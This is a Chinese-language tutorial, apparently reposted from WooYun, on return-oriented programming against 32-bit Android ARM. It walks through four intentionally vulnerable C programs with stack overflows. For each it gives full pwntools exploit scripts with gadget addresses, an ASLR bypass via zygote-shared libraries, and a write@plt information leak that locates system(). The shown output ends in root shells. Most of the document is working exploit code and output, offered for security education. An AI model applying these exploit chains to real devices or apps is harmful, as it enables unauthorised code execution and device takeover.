一步一步学ROP之Android ARM 32位篇
蒸米 · 2015/12/17 9:41
0x00 序
ROP的全稱為Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術,可以用來繞過現代操作系統的各種通用防御(比如內存不可執行和代碼簽名等)。之前我們主要討論了linux上的ROP攻擊:
- 一步一步學ROP之linux_x86篇 http://drops.wooyun.org/tips/6597
- 一步一步學ROP之linux_x64篇 http://drops.wooyun.org/papers/7551
- 一步一步學ROP之gadgets和2free篇 http://drops.wooyun.org/binary/10638
在這次的教程中我們會帶來arm上rop利用的技術,歡迎大家繼續學習。
另外文中涉及代碼可在我的github下載:
github.com/zhengmin198…
0x01 ARM上的Buffer Overflow
作為一個程序員我們的目標是要會寫所有語言的”hello world”。同樣的,作為一個安全工程師,我們的目標是會exploit掉所有語言的buffer overflow。:)因為buffer overflow實在是太經典了,所以我們的arm篇也是從buffer overflow開始。
首先來看第一個程序 level6.c:
#!c #include<stdio.h> #include<stdlib.h> #include<unistd.h>void callsystem() { system("/system/bin/sh"); }void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); }int main(int argc, char** argv) { if (argc==2&&strcmp("passwd",argv[1])==0) callsystem(); write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); } 復制代碼我們的目標是在不使用密碼的情況下,獲取到shell。為了減少難度,我們先將stack canary去掉(在JNI目錄下建立Application.mk并加入APP_CFLAGS += -fno-stack-protector)。隨后用ndk-build進行編譯。然后將level6文件拷貝到"/data/local/tmp"目錄下。接下來我們把這個目標程序作為一個服務綁定到服務器的某個端口上,這里我們可以使用socat這個工具來完成。最后我們再做一個端口轉發,準備工作就算完成了。基本命令如下:
#!bash ndk-build adb push libs/armeabi/level6 /data/local/tmp/ adb shell cd /data/local/tmp/ ./socat TCP4-LISTEN:10001,fork EXEC:./level6 adb forward tcp:10001 tcp:10001 復制代碼現在我們嘗試連接一下:
#!bash $ nc 127.0.0.1 10001 Hello, World 復制代碼發現工作正常。OK,那么我們開始進行BOF吧。
和之前的x86一樣,我們先用pattern.py來確定溢出點的位置。我們用命令:
#!bash python pattern.py create 150 復制代碼來生成一串測試用的150個字節的字符串:
#!bash Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 復制代碼然后我們寫一個py腳本來發送這串數據。
#!python #!/usr/bin/env python from pwn import *#p = process('./level6') p = remote('127.0.0.1',10001)p.recvuntil('\n')raw_input()payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"p.send(payload)p.interactive() 復制代碼但因為我們需要獲取崩潰時pc的值,所以在發送數據前,我們先使用gdb加載上level6。
我們先在電腦上運行python腳本:
#!bash [pc]$ python test.py [+] Opening connection to 127.0.0.1 on port 10001: Done … 復制代碼然后在adb shell中用ps獲取level6的pid,然后再掛載level6,然后用c繼續:
#!bash [adb]# ./gdb --pid=4895GNU gdb 6.7 Copyright (C) 2007 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> …… Loaded symbols for /system/lib/libm.so 0xb6eff268 in read () from /system/lib/libc.so (gdb) c Continuing. 復制代碼然后我們再在電腦上輸入回車,讓腳本發送數據。然后我們就能夠在gdb里看到崩潰的pc的值了:
#!bash Program received signal SIGSEGV, Segmentation fault. 0x41346540 in ?? () (gdb) 復制代碼因為我們編譯的level6默認是thumb模式,所以我們要在這個崩潰的地址上加個1:0x41346540+1 = 0x41346541。然后用pattern.py計算一下溢出點的位置:
#!bash $ python pattern.py offset 0x41346541 hex pattern decoded as: Ae4A 132 復制代碼OK,我們知道了溢出點的位置,接下來我們找一下返回的地址。其實利用的代碼在程序中已經有了。我們只要將pc指向callsystem()這個函數地址即可。我們在ida中可以看到地址為0x00008554:
因為callsystem()被編譯成了thumb指令,所以我們需要將地址+1,讓pc知道這里的代碼為thumb指令,最終exp如下:
#!python #!/usr/bin/env python from pwn import *#p = process('./level6') p = remote('127.0.0.1',10001)p.recvuntil('\n')callsystemaddr = 0x00008554 + 1 payload = 'A'*132 + p32(callsystemaddr)p.send(payload)p.interactive() 復制代碼執行效果如下:
#!bash $ python level6.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode $ /system/bin/id uid=0(root) gid=0(root) context=u:r:shell:s0 復制代碼0x02 尋找thumb gadgets
下面我們來看第二個程序level7.c:
#!c #include<stdio.h> #include<stdlib.h> #include<unistd.h>char *str="/system/bin/sh";void callsystem() { system("id"); }void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); }int main(int argc, char** argv) { if (argc==2&&strcmp("passwd",argv[1])==0) callsystem(); write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); } 復制代碼在這個程序里,我們即使知道密碼,也僅僅只能執行”id”這個命令,我們的目標是獲取到一個可以使用的shell,也就是執行system("/system/bin/sh")。怎么辦呢?這里我們就需要來尋找可利用的gadgets,先讓r0指向"/system/bin/sh"這個字符串的地址,然后再調用system()函數達到我們的目的。
如何尋找gadgets呢?雖然用ida或者objdump也可以進行查找,但比較費時費力,這里我推薦使用ROPGadget。因為level7默認會編譯成thumb指令,所以我們也采用thumb模式查找gadgets:
#!bash $ ROPgadget --binary=./level7 --thumb | grep "ldr r0" 0x00008618 : add r0, pc ; b #0x862e ; ldr r0, [pc, #0x10] ; add r0, pc ; ldr r0, [r0] ; b #0x8634 ; movs r0, #0 ; pop {pc} 0x0000861e : add r0, pc ; ldr r0, [r0] ; b #0x862e ; movs r0, #0 ; pop {pc} 0x0000893e : add r3, sp, #0xc ; movs r1, #0 ; str r3, [sp] ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} 0x000090fe : add r3, sp, #0xc ; str r3, [sp] ; movs r2, #0xc ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} 0x000093ca : add sp, #0x10 ; pop {r4, pc} ; push {r3, lr} ; bl #0x911c ; ldr r0, [r0, #0x48] ; pop {r3, pc} 0x00008826 : add sp, r3 ; pop {r4, r5, r6, r7, pc} ; mov r8, r8 ; stc2 p15, c15, [r4], #-0x3fc ; ldr r0, [r0, #0x44] ; bx lr …… 復制代碼在這些gadgets中,我們成功找到了一個gadget可以符合我們的要求:
#!bash 0x0000894a : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} 復制代碼接下來就是找system和"/system/bin/sh"的地址,分別為0x00008404和000096C0:
要注意的是,因為system()函數在plt區域,并沒有被編譯成thumb指令,而是普通的arm指令,因此并不需要將地址+1。最終level7.py如下:
#!python #!/usr/bin/env python from pwn import *#p = process('./level7') p = remote('30.10.20.253',10001)p.recvuntil('\n')#0x0000894a : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} gadget1 = 0x0000894a + 1#"/system/bin/sh" r0 = 0x000096C0#.plt:00008404 ; int system(const char *command) systemaddr = 0x00008404 payload = '\x00'*132 + p32(gadget1) + "\x00"*0xc + p32(r0) + "\x00"*0x4 + p32(systemaddr)p.send(payload)p.interactive() 復制代碼執行結果如下:
#!bash $ python level7.py [+] Opening connection to 30.10.20.253 on port 10001: Done[*] Switching to interactive mode $ /system/bin/id uid=0(root) gid=0(root) context=u:r:shell:s0 復制代碼0x03 Android上的ASLR
Android上的ASLR其實偽ASLR,因為如果程序是由皆由zygote fork的,那么所有的系統library(libc,libandroid_runtime等)和dalvik - heap的基址都會是相同的,并且和zygote的內存布局一模一樣。比如我們隨便看兩個由zygote fork的進程:
#!bash [email?protected]:/ # cat /proc/1698/maps 400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process 400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process 400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process 400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker 400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage] 400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker 40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker 40101000-40104000 rw-p 00000000 00:00 0 40104000-40105000 r--p 00000000 00:00 0 40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc] 40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so 40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so 4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so 4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so 40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so 40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so[email?protected]:/ # cat /proc/1720/maps 400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process 400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process 400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process 400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker 400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage] 400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker 40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker 40101000-40104000 rw-p 00000000 00:00 0 40104000-40105000 r--p 00000000 00:00 0 40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc] 40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so 40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so 4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so 4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so 40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so 40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so 復制代碼可以看到地址都是一模一樣的。這意味著什么呢?我們知道android上所有的app都是由zygote fork出來的,因此我們只要在自己的app上得到libc.so等庫的地址就可以知道其他app上的地址了。
假設我們已經知道了目標app的libc.so在內存中的地址了,那么應該如何控制pc執行我們希望的rop呢?OK,現在我們現在來看level8.c:
#!c #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<dlfcn.h>void getsystemaddr() { void* handle = dlopen("libc.so", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); }void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); }int main(int argc, char** argv) { getsystemaddr(); write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); } 復制代碼這個程序會先輸出system的地址,相當于我們已經獲取了這個進程的內存布局了。接下來要做的就是在libc.so中尋找我們需要的gadgets和字符串地址。因為libc.so很大,我們完全不用擔心找不到需要的gadgets,并且我們只需要控制一個r0即可。因此這些gadgets都能滿足我們的需求:
#!bash 0x00014f48 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc} 0x0002e404 : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc} 0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc} 復制代碼接下來就是在libc.so中找system()和"/system/bin/sh"的位置:
可以看到地址分別為0x000253A4和0x0003F9B4。當然了,就算獲取了這些地址,我們也需要根據system()在內存中的地址進行偏移量的計算才能夠成功的找到gadgets和"/system/bin/sh"在內存中的地址。除此之外,還要注意thumb指令和arm指令的轉換問題。最終的exp level8.py如下:
#!python #!/usr/bin/env python from pwn import *#p = process('./level8') p = remote('127.0.0.1',10001)system_addr_str = p.recvuntil('\n') print "str:" + system_addr_str system_addr = int(system_addr_str,16) print "system_addr = " + hex(system_addr)p.recvuntil('\n')#.text:000253A4 EXPORT system#0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc} gadget1 = system_addr + (0x00034ace - 0x000253A4) print "gadget1 = " + hex(gadget1)#.rodata:0003F9B4 aSystemBinSh DCB "/system/bin/sh",0 r0 = system_addr + (0x0003F9B4 - 0x000253A4) - 1 print "/system/bin/sh addr = " + hex(r0)payload = '\x00'*132 + p32(gadget1) + p32(r0) + "\x00"*0x8 + p32(system_addr)p.send(payload)p.interactive() 復制代碼執行結果如下:
#!bash $ python level8.py [+] Opening connection to 127.0.0.1 on port 10001: Done system_addr = 0xb6f1e3a5 gadget1 = 0xb6f2dacf /system/bin/sh addr = 0xb6f389b4 [*] Switching to interactive mode $ id uid=0(root) gid=0(root) context=u:r:shell:s0 復制代碼0x04 Android上的information leak
在上面的例子中,我們假設已經知道了libc.so的基址了,但是如果我們是進行遠程攻擊,并且原程序中沒有調用system()函數怎么辦?這意味著目標程序的內存布局對我們來說是隨機的,我們并不能直接調用libc.so中的gadgets,因為我們并不知道libc.so在內存中的地址。其實這也是有辦法的,我們首先需要一個information leak的漏洞來獲取libc.so在內存中的地址,然后再控制pc去執行我們的rop。現在我們來看level9.c:
#!c #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<dlfcn.h>void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); }int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); } 復制代碼雖然程序非常簡單,可用的gadgets很少。但好消息是我們發現除了程序本身的實現的函數之外,我們還可以使用[email?protected]()函數。但因為程序本身并沒有調用system()函數,所以我們并不能直接調用system()來獲取shell。但其實我們有[email?protected]()函數就夠了,因為我們可以通過[email?protected]()函數把write()函數在內存中的地址也就是write.got給打印出來。既然write()函數實現是在libc.so當中,那我們調用的[email?protected]()函數為什么也能實現write()功能呢? 這是因為android和linux類似采用了延時綁定技術,當我們調用[email?protected]()的時候,系統會將真正的write()函數地址link到got表的write.got中,然后[email?protected]()會根據write.got 跳轉到真正的write()函數上去。(如果還是搞不清楚的話,推薦閱讀潘愛民老師的《程序員的自我修養 - 鏈接、裝載與庫》這本書,潘老師是我主管的事情我才不會告訴你。。。)
因為system()函數和write()在libc.so中的offset(相對地址)是不變的,所以如果我們得到了write()的地址并且擁有目標手機上的libc.so就可以計算出system()在內存中的地址了。然后我們再將pc指針return回vulnerable_function()函數,就可以進行第二次溢出攻擊了,并且這一次我們知道了system()在內存中的地址,就可以調用system()函數來獲取我們的shell了。
另外需要注意的是write()函數是三個參數,因此我們還需要控制r1和r2才行,剛好程序中有如下gadget可以滿足我們的需求:
#!bash #0x0000863a : pop {r1, r2, r4, r5, r6, pc} 復制代碼另外為了能再一次返回vulnerable_function(),我們需要構造好執行完write函數后的棧的數據,讓程序執行完ADD SP, SP,#0x84;POP {PC}后,PC能再一次指向0x000084D8。
最終的explevel9.py如下:
#!python #!/usr/bin/env python from pwn import *#p = process('./level7') p = remote('30.10.20.253',10001)p.recvuntil('\n')#0x00008a12 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} gadget1 = 0x000088be + 1#0x0000863a : pop {r1, r2, r4, r5, r6, pc} gadget2 = 0x0000863a + 1#.text:000084D8 vulnerable_function ret_to_vul = 0x000084D8 + 1#write(r0=1, r1=0x0000AFE8, r2=4) r0 = 1 r1 = 0x0000AFE8 r2 = 4 r4 = 0 r5 = 0 r6 = 0 write_addr_plt = 0x000083C8payload = '\x00'*132 + p32(gadget1) + '\x00'*0xc + p32(r0) + '\x00'*0x4 + p32(gadget2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul)p.send(payload)write_addr = u32(p.recv(4)) print 'write_addr=' + hex(write_addr)#.rodata:0003F9B4 aSystemBinSh DCB "/system/bin/sh",0 #.text:000253A4 EXPORT system #.text:00020280 EXPORT writer0 = write_addr + (0x0003F9B4 - 0x00020280) system_addr = write_addr + (0x000253A4 - 0x00020280) + 1print 'r0=' + hex(r0) print 'system_addr=' + hex(system_addr)payload2 = '\x00'*132 + p32(gadget1) + "\x00"*0xc + p32(r0) + "\x00"*0x4 + p32(system_addr)p.send(payload2)p.interactive() 復制代碼執行exp的結果如下:
#!bash $ python level9.py [+] Opening connection to 30.10.20.253 on port 10001: Done write_addr=0xb6f27280 r0=0xb6f469b4 system_addr=0xb6f2c3a5 [*] Switching to interactive mode $ /system/bin/id uid=0(root) gid=0(root) context=u:r:shell:s0 復制代碼0x05 Android ROP調試技巧
因為gdb對thumb指令的解析并不好,所以我還是推薦用ida來進行調試。如果你還不會用ida,可以先看一下我之前寫的關于ida調試的文章:
安卓動態調試七種武器之孔雀翎– Ida pro http://drops.wooyun.org/tips/6840 復制代碼除此之外,還有個很重要的技巧就是如何讓ida正確的解析指令。ida在很多時候并不知道需要解析的指令是thumb還是arm,有時候甚至都不知道是啥內容。
比如圖中是libc.so中system的代碼:
這段代碼其實是thumb指令,但是我們怎么樣才能讓ida解析正確呢?方法就是用鼠標選中0xB6EE03A4,然后按alt+g鍵,然后將value改成0x1。這樣的話,ida就會按照thumb指令來解析這段數據了。
我們隨后選中那塊數據然后按c鍵,就可以看到指令被正確的解析了。
0x06 總結
我們這篇文章介紹了32位android的ROP。在下一篇中我會繼續帶來64位arm和iOS上ROP的利用技巧,歡迎大家繼續學習。另外文中涉及代碼可在我的github下載:
github.com/zhengmin198…
總結
以上是生活随笔為你收集整理的一步一步学ROP之Android ARM 32位篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Meterpreter Guide
- 下一篇: android sina oauth2.